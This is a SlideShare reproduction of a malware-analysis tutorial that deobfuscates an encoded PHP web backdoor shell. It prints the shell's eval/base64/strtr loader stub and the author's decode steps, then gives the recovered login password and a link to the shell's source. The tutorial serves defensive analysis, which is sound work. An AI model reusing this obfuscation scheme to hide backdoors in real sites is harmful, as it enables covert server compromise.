SlideShare a Scribd company logo
4
Most read
PHP Web Backdoor Decode
Mohammad Ariful Islam
Twitter: @arif_xpress
Malicious piece of codes which allows an attacker to access the data, modify data, delete data, upload
other files or even execute system commands to perform tasks such as create new user, read system
files etc. is known as backdoor shell.
If anyone browse file using web browser and if the file doesn’t exist then the user may see an error
message which shows that the requested URL was not found. Usually the message is correct if web
server doesn’t find the requested file but sometimes it doesn’t.
As technology rapidly changes as well as cyber criminals applying new methods in order to hide their
dirty piece of codes like backdoor shells which they use for hacktivist activities. Backdoor shells can be
password protected in order to limit the access to the file and contains encrypted password in the
source code of the file. Sometimes backdoor shell codes can be found in plain text and sometimes it can
be obfuscated/encoded.
In this article we will decode an obfuscated/encoded web backdoor shell. We will recover the original
source code and the encrypted password in order to login to the backdoor shell.
In this article we will use two virtual machines. In Windows 7, we configured XAMPP in order to host
and browse the php backdoor file. Kali Linux used to perform some command line operations like URL
decode, finding hash algorithm information etc.
Source Code: https://github.com/xpress99/webshell
Let’s browse the file 3ca.php in Windows 7 machine.
Figure 1: Error message
Looks like the file 3ca.php is not exists in the webserver. But when we view the source code of the file
then we see something interesting. A form exists with password filed!
Figure 2: View source of 3ca.php
Because of the CSS style properties, the password filed is invisible to the user. After changes the CSS
rules from the Firefox browser, the password filed is now visible.
Figure 3: Input filed
We found a password field in this page. So, if we enter the correct password then may be will enter the
backdoor shell. But where is the password?
Let’s check the source code of the file. Open the 3ca.php file in Notepad++ from Windows 7 machine.
Figure 4: Partial source code of the file
The source code is not in plain text and it is obfuscated/encoded with php eval function. The code will
decode during the execution of the file.
The original source code is too big but we don’t need to understand full code. We will work on the
following source code.
<?php
$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');
$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};
$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};
$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000
000{5};
$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO00000
0{15};
$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};
$O0O000O0O=$O0O000O00.$OOO000000{11};
$O0O000O00=$O0O000O00.$OOO000000{3};
$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000
{16};
$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO0000
00{8};
$OOO0O0O00=__FILE__;
$OO00O0000=0x206c4;
eval(base64_decode('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wT
zAwT08wMCgkTzAwME8wTzAwLDB4NDlmKTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTy
gkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdFbnRlcnlvdXdraFJIWUtOV09VVEFhQmJDY0R
kRmZHZ0lpSmpMbE1tUHBRcVNzVnZYeFp6MDEyMzQ1Njc4OSsvPScsJ0FCQ0RFRkdISUpLTE1OT1BR
UlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT
08wME8wME8wKTs='));
return;
?>
In the very beginning of the php file a variable $OOO000000 contains an encoded URL string.
$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');
First, we need to decode the value. In order to decode we will use python module. From Kali Linux
machine we will make an alias of the python command as urldecode.
root@kali:~# alias urldecode='python -c "import sys, urllib as ul; print
ul.unquote_plus(sys.argv[1])"'
After execute the command, we got the decoded value.
Figure 5: Decoded value
So, we found that value of variable $OOO000000 is fg6sbehpra4co_tnd
The next line of the php file is
$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};
Variable $OOO000000{4} references the 5th
position of the array which gives us value “b” from the
decoded string and variable $OOO000000{9} references the 10th
position of the array which gives us
value “a”. After applying this technique, we have got that value of variable $OOO0000O0 is base
We have decoded the following texts after applying the previous technique.
$OOO0000O0 = base
$OOO0000O0.= base64_d
$OOO0000O0.= base64_decode
$OOO000O00 = fopen
$O0O000O00 = fget
$O0O000O0O = fgetc
$O0O000O00 = fgets
$O0O00OO00 = fread
$OOO00000O = strtr
Using above information now we will try to decrypt the codes of eval(base64_decode) function from
the encrypted php file.
We will now change the php file as below and save the file as “3ca_decode.php” and execute from the
browser.
<?php
$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');
$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};
$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};
$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000
000{5};
$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO00000
0{15};
$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000
{16};
$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO0000
00{8};
$OOO0O0O00=__FILE__;
$OO00O0000=0x206c4;
echo(base64_decode('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wT
zAwT08wMCgkTzAwME8wTzAwLDB4NDlmKTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTy
gkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdFbnRlcnlvdXdraFJIWUtOV09VVEFhQmJDY0R
kRmZHZ0lpSmpMbE1tUHBRcVNzVnZYeFp6MDEyMzQ1Njc4OSsvPScsJ0FCQ0RFRkdISUpLTE1OT1BR
UlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT
08wME8wME8wKTs='));
return;
?>
Let’s execute the file.
Figure 6: First level decode
After execution we have found another eval() function. It seems that we need to follow the same
procedure until we get the decrypted codes.
So, we will modify the 3ca_decode.php file as below and execute again from the browser.
<?php
$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');
$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};
$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};
$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000
000{5};
$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO00000
0{15};
$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000
{16};
$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO0000
00{8};
$OOO0O0O00=__FILE__;
$OO00O0000=0x206c4;
$O000O0O00=$OOO000O00('C:xampphtdocs3ca.php','rb');
$O0O00OO00($O000O0O00,0x49f);
$OO00O00O0=$OOO0000O0($OOO00000O($O0O00OO00($O000O0O00,0x17c),'EnteryouwkhRHY
KNWOUTAaBbCcDdFfGgIiJjLlMmPpQqSsVvXxZz0123456789+/=','ABCDEFGHIJKLMNOPQRSTUVW
XYZabcdefghijklmnopqrstuvwxyz0123456789+/'));
echo($OO00O00O0);
?>
Let’s execute the file again.
Figure 7: Second level decode
Still encrypted codes!
But this time we found a function str_replace() which calls the file itself and replace some strings with
others. The str_replace() function replaces some characters with some other characters in a string. It
seems that one more execution of eval() function will give us the decrypted codes.
Let’s modify the 3ca_decode.php file and this time we will execute it from php command line.
<?php
$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');
$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};
$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};
$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000
000{5};
$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO00000
0{15};
$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000
{16};
$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO0000
00{8};
$OO00O0000=0x206c4;
$O000O0O00=$OOO000O00('C:xampphtdocs3ca.php','rb');
$O0O00OO00($O000O0O00,0x49f);
$OO00O00O0=$OOO0000O0($OOO00000O($O0O00OO00($O000O0O00,0x17c),'EnteryouwkhRHY
KNWOUTAaBbCcDdFfGgIiJjLlMmPpQqSsVvXxZz0123456789+/=','ABCDEFGHIJKLMNOPQRSTUVW
XYZabcdefghijklmnopqrstuvwxyz0123456789+/'));
echo($OO00O00O0);
$OO00O00O0=str_replace('__FILE_a',"C:xampphtdocs3ca.php",$OOO0000O0($OOO00
000O($O0O00OO00($O000O0O00,$OO00O0000),'EnteryouwkhRHYKNWOUTAaBbCcDdFfGgIiJjL
lMmPpQqSsVvXxZz0123456789+/=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrst
uvwxyz0123456789+/')));
fclose($O000O0O00);
echo($OO00O00O0);
?>
Let’s execute from php command line.
Figure 8: Found password hash
Finally, we are able to decrypt the source code the encrypted php file. We have found the password
hash value.
Using online free hash decryption tool, we found the plain text password which is 3cadev
Figure 9: Decrypted password
Finally, we are able to login to the web backdoor shell.
Figure 10: Logged in to backdoor shell
Sometimes it is very important to decode backdoors and identify their threat levels in order to prevent
further damages.

More Related Content

PPT
UKPDS overview
PPTX
Anticoagulation in patients with liver cirrhosis copy
PPTX
MANAGEMENT OF DIABETES IN CHRONIC KIDNEY DISEASE (Special reference to Use of...
PPTX
SGLT2-i, DPP4-i & Incretin Mimetics (Optimizing their use in CKD Patients) - ...
PPTX
ADA 2022.pptx
PPTX
Acute renal failure
PDF
Dyslipidemia lecture
PPTX
IDF Ramzan & Diabetes.pptx
UKPDS overview
Anticoagulation in patients with liver cirrhosis copy
MANAGEMENT OF DIABETES IN CHRONIC KIDNEY DISEASE (Special reference to Use of...
SGLT2-i, DPP4-i & Incretin Mimetics (Optimizing their use in CKD Patients) - ...
ADA 2022.pptx
Acute renal failure
Dyslipidemia lecture
IDF Ramzan & Diabetes.pptx

What's hot (20)

PPTX
Diabetic Kidney Disease 2022 Update
PPTX
Budd chiari syndrome. ppt
PPTX
RESISTANT HYPERTENSION
PPTX
Diabetic kidney disease 2021
PPTX
Lupus Nephritis Guideline Review 2022
PPTX
autoimmune hepatitis
PPT
Ge Rd
PPT
Metabolic alkalosis
PPT
Diabetes and hypertension
PPTX
Dyslipidemia
PPTX
Biliary Disease
PPTX
Anaemia in ckd
PPTX
EMPA-KIDNEY.pptx
PPTX
Renal tubular acidosis
PPTX
DKA pathophysiology
PPTX
Pancytopenia
PPTX
Diabetes,dysglycemia; and chronic kidney disease by prof alaa wafa
PPTX
Diuretic resistence
PPT
Hypertension management
Diabetic Kidney Disease 2022 Update
Budd chiari syndrome. ppt
RESISTANT HYPERTENSION
Diabetic kidney disease 2021
Lupus Nephritis Guideline Review 2022
autoimmune hepatitis
Ge Rd
Metabolic alkalosis
Diabetes and hypertension
Dyslipidemia
Biliary Disease
Anaemia in ckd
EMPA-KIDNEY.pptx
Renal tubular acidosis
DKA pathophysiology
Pancytopenia
Diabetes,dysglycemia; and chronic kidney disease by prof alaa wafa
Diuretic resistence
Hypertension management
Ad

Similar to 47300 php-web-backdoor-decode (20)

PDF
Web backdoors attacks, evasion, detection
ODP
How secure is your code?
PPTX
Object Oriented Programming Basics with PHP
PDF
Php interview-questions and answers
DOCX
Php interview questions
DOCX
php questions
PPT
Web application security
DOCX
Php interview questions
PPT
Eight simple rules to writing secure PHP programs
PPTX
XML External Entity (XXE)
PDF
IDSECCONF2013 CTF online Write Up
PDF
Php interview questions with answer
PPT
Now That's What I Call WordPress Security 2010
PDF
Php vulnerability presentation
PDF
&lt;img src="../i/r_14.png" />
PDF
php-mysql-tutorial-part-3
PDF
php-mysql-tutorial-part-3
PDF
&lt;b>PHP&lt;/b>/MySQL &lt;b>Tutorial&lt;/b> webmonkey/programming/
PPTX
Secure programming with php
PDF
Computer Security
Web backdoors attacks, evasion, detection
How secure is your code?
Object Oriented Programming Basics with PHP
Php interview-questions and answers
Php interview questions
php questions
Web application security
Php interview questions
Eight simple rules to writing secure PHP programs
XML External Entity (XXE)
IDSECCONF2013 CTF online Write Up
Php interview questions with answer
Now That's What I Call WordPress Security 2010
Php vulnerability presentation
&lt;img src="../i/r_14.png" />
php-mysql-tutorial-part-3
php-mysql-tutorial-part-3
&lt;b>PHP&lt;/b>/MySQL &lt;b>Tutorial&lt;/b> webmonkey/programming/
Secure programming with php
Computer Security
Ad

More from Attaporn Ninsuwan (20)

PDF
J query fundamentals
PDF
Jquery enlightenment
PDF
Jquery-Begining
PDF
Br ainfocom94
PDF
Chapter 12 - Computer Forensics
PDF
Techniques for data hiding p
PDF
Stop badware infected_sites_report_062408
PDF
Steganography past-present-future 552
PDF
Ch03-Computer Security
PDF
Ch02-Computer Security
PDF
Ch01-Computer Security
PDF
Ch8-Computer Security
PDF
Ch7-Computer Security
PDF
Ch6-Computer Security
PDF
Ch06b-Computer Security
PDF
Ch5-Computer Security
PDF
Ch04-Computer Security
PDF
Chapter5 - The Discrete-Time Fourier Transform
PDF
Chapter4 - The Continuous-Time Fourier Transform
PDF
Chapter3 - Fourier Series Representation of Periodic Signals
J query fundamentals
Jquery enlightenment
Jquery-Begining
Br ainfocom94
Chapter 12 - Computer Forensics
Techniques for data hiding p
Stop badware infected_sites_report_062408
Steganography past-present-future 552
Ch03-Computer Security
Ch02-Computer Security
Ch01-Computer Security
Ch8-Computer Security
Ch7-Computer Security
Ch6-Computer Security
Ch06b-Computer Security
Ch5-Computer Security
Ch04-Computer Security
Chapter5 - The Discrete-Time Fourier Transform
Chapter4 - The Continuous-Time Fourier Transform
Chapter3 - Fourier Series Representation of Periodic Signals

Recently uploaded (20)

PDF
Profit Center Accounting in SAP S/4HANA, S4F28 Col11
PPTX
Programs and apps: productivity, graphics, security and other tools
PDF
Dropbox Q2 2025 Financial Results & Investor Presentation
PDF
Network Security Unit 5.pdf for BCA BBA.
PPTX
Big Data Technologies - Introduction.pptx
PPTX
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
PDF
NewMind AI Weekly Chronicles - August'25 Week I
PDF
Approach and Philosophy of On baking technology
PDF
Mobile App Security Testing_ A Comprehensive Guide.pdf
PDF
Chapter 3 Spatial Domain Image Processing.pdf
PDF
Review of recent advances in non-invasive hemoglobin estimation
PDF
Electronic commerce courselecture one. Pdf
PDF
Empathic Computing: Creating Shared Understanding
PDF
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
PDF
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
PPTX
20250228 LYD VKU AI Blended-Learning.pptx
PDF
Encapsulation_ Review paper, used for researhc scholars
PDF
Per capita expenditure prediction using model stacking based on satellite ima...
PDF
Spectral efficient network and resource selection model in 5G networks
PDF
Unlocking AI with Model Context Protocol (MCP)
Profit Center Accounting in SAP S/4HANA, S4F28 Col11
Programs and apps: productivity, graphics, security and other tools
Dropbox Q2 2025 Financial Results & Investor Presentation
Network Security Unit 5.pdf for BCA BBA.
Big Data Technologies - Introduction.pptx
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
NewMind AI Weekly Chronicles - August'25 Week I
Approach and Philosophy of On baking technology
Mobile App Security Testing_ A Comprehensive Guide.pdf
Chapter 3 Spatial Domain Image Processing.pdf
Review of recent advances in non-invasive hemoglobin estimation
Electronic commerce courselecture one. Pdf
Empathic Computing: Creating Shared Understanding
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
20250228 LYD VKU AI Blended-Learning.pptx
Encapsulation_ Review paper, used for researhc scholars
Per capita expenditure prediction using model stacking based on satellite ima...
Spectral efficient network and resource selection model in 5G networks
Unlocking AI with Model Context Protocol (MCP)

47300 php-web-backdoor-decode

  • 1. PHP Web Backdoor Decode Mohammad Ariful Islam Twitter: @arif_xpress
  • 2. Malicious piece of codes which allows an attacker to access the data, modify data, delete data, upload other files or even execute system commands to perform tasks such as create new user, read system files etc. is known as backdoor shell. If anyone browse file using web browser and if the file doesn’t exist then the user may see an error message which shows that the requested URL was not found. Usually the message is correct if web server doesn’t find the requested file but sometimes it doesn’t. As technology rapidly changes as well as cyber criminals applying new methods in order to hide their dirty piece of codes like backdoor shells which they use for hacktivist activities. Backdoor shells can be password protected in order to limit the access to the file and contains encrypted password in the source code of the file. Sometimes backdoor shell codes can be found in plain text and sometimes it can be obfuscated/encoded. In this article we will decode an obfuscated/encoded web backdoor shell. We will recover the original source code and the encrypted password in order to login to the backdoor shell. In this article we will use two virtual machines. In Windows 7, we configured XAMPP in order to host and browse the php backdoor file. Kali Linux used to perform some command line operations like URL decode, finding hash algorithm information etc. Source Code: https://github.com/xpress99/webshell Let’s browse the file 3ca.php in Windows 7 machine. Figure 1: Error message
  • 3. Looks like the file 3ca.php is not exists in the webserver. But when we view the source code of the file then we see something interesting. A form exists with password filed! Figure 2: View source of 3ca.php Because of the CSS style properties, the password filed is invisible to the user. After changes the CSS rules from the Firefox browser, the password filed is now visible. Figure 3: Input filed We found a password field in this page. So, if we enter the correct password then may be will enter the backdoor shell. But where is the password?
  • 4. Let’s check the source code of the file. Open the 3ca.php file in Notepad++ from Windows 7 machine. Figure 4: Partial source code of the file The source code is not in plain text and it is obfuscated/encoded with php eval function. The code will decode during the execution of the file. The original source code is too big but we don’t need to understand full code. We will work on the following source code. <?php $OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64'); $OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5}; $OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16}; $OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000 000{5}; $OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO00000 0{15}; $O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14}; $O0O000O0O=$O0O000O00.$OOO000000{11}; $O0O000O00=$O0O000O00.$OOO000000{3}; $O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000 {16}; $OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO0000 00{8}; $OOO0O0O00=__FILE__; $OO00O0000=0x206c4;
  • 5. eval(base64_decode('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wT zAwT08wMCgkTzAwME8wTzAwLDB4NDlmKTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTy gkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdFbnRlcnlvdXdraFJIWUtOV09VVEFhQmJDY0R kRmZHZ0lpSmpMbE1tUHBRcVNzVnZYeFp6MDEyMzQ1Njc4OSsvPScsJ0FCQ0RFRkdISUpLTE1OT1BR UlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT 08wME8wME8wKTs=')); return; ?> In the very beginning of the php file a variable $OOO000000 contains an encoded URL string. $OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64'); First, we need to decode the value. In order to decode we will use python module. From Kali Linux machine we will make an alias of the python command as urldecode. root@kali:~# alias urldecode='python -c "import sys, urllib as ul; print ul.unquote_plus(sys.argv[1])"' After execute the command, we got the decoded value. Figure 5: Decoded value So, we found that value of variable $OOO000000 is fg6sbehpra4co_tnd The next line of the php file is $OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5}; Variable $OOO000000{4} references the 5th position of the array which gives us value “b” from the decoded string and variable $OOO000000{9} references the 10th position of the array which gives us value “a”. After applying this technique, we have got that value of variable $OOO0000O0 is base We have decoded the following texts after applying the previous technique. $OOO0000O0 = base $OOO0000O0.= base64_d $OOO0000O0.= base64_decode $OOO000O00 = fopen $O0O000O00 = fget $O0O000O0O = fgetc $O0O000O00 = fgets $O0O00OO00 = fread $OOO00000O = strtr
  • 6. Using above information now we will try to decrypt the codes of eval(base64_decode) function from the encrypted php file. We will now change the php file as below and save the file as “3ca_decode.php” and execute from the browser. <?php $OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64'); $OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5}; $OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16}; $OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000 000{5}; $OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO00000 0{15}; $O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000 {16}; $OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO0000 00{8}; $OOO0O0O00=__FILE__; $OO00O0000=0x206c4; echo(base64_decode('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wT zAwT08wMCgkTzAwME8wTzAwLDB4NDlmKTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTy gkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdFbnRlcnlvdXdraFJIWUtOV09VVEFhQmJDY0R kRmZHZ0lpSmpMbE1tUHBRcVNzVnZYeFp6MDEyMzQ1Njc4OSsvPScsJ0FCQ0RFRkdISUpLTE1OT1BR UlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT 08wME8wME8wKTs=')); return; ?> Let’s execute the file. Figure 6: First level decode After execution we have found another eval() function. It seems that we need to follow the same procedure until we get the decrypted codes.
  • 7. So, we will modify the 3ca_decode.php file as below and execute again from the browser. <?php $OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64'); $OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5}; $OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16}; $OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000 000{5}; $OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO00000 0{15}; $O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000 {16}; $OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO0000 00{8}; $OOO0O0O00=__FILE__; $OO00O0000=0x206c4; $O000O0O00=$OOO000O00('C:xampphtdocs3ca.php','rb'); $O0O00OO00($O000O0O00,0x49f); $OO00O00O0=$OOO0000O0($OOO00000O($O0O00OO00($O000O0O00,0x17c),'EnteryouwkhRHY KNWOUTAaBbCcDdFfGgIiJjLlMmPpQqSsVvXxZz0123456789+/=','ABCDEFGHIJKLMNOPQRSTUVW XYZabcdefghijklmnopqrstuvwxyz0123456789+/')); echo($OO00O00O0); ?> Let’s execute the file again. Figure 7: Second level decode Still encrypted codes! But this time we found a function str_replace() which calls the file itself and replace some strings with others. The str_replace() function replaces some characters with some other characters in a string. It seems that one more execution of eval() function will give us the decrypted codes.
  • 8. Let’s modify the 3ca_decode.php file and this time we will execute it from php command line. <?php $OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64'); $OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5}; $OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16}; $OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000 000{5}; $OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO00000 0{15}; $O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000 {16}; $OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO0000 00{8}; $OO00O0000=0x206c4; $O000O0O00=$OOO000O00('C:xampphtdocs3ca.php','rb'); $O0O00OO00($O000O0O00,0x49f); $OO00O00O0=$OOO0000O0($OOO00000O($O0O00OO00($O000O0O00,0x17c),'EnteryouwkhRHY KNWOUTAaBbCcDdFfGgIiJjLlMmPpQqSsVvXxZz0123456789+/=','ABCDEFGHIJKLMNOPQRSTUVW XYZabcdefghijklmnopqrstuvwxyz0123456789+/')); echo($OO00O00O0); $OO00O00O0=str_replace('__FILE_a',"C:xampphtdocs3ca.php",$OOO0000O0($OOO00 000O($O0O00OO00($O000O0O00,$OO00O0000),'EnteryouwkhRHYKNWOUTAaBbCcDdFfGgIiJjL lMmPpQqSsVvXxZz0123456789+/=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrst uvwxyz0123456789+/'))); fclose($O000O0O00); echo($OO00O00O0); ?> Let’s execute from php command line. Figure 8: Found password hash Finally, we are able to decrypt the source code the encrypted php file. We have found the password hash value.
  • 9. Using online free hash decryption tool, we found the plain text password which is 3cadev Figure 9: Decrypted password Finally, we are able to login to the web backdoor shell. Figure 10: Logged in to backdoor shell Sometimes it is very important to decode backdoors and identify their threat levels in order to prevent further damages.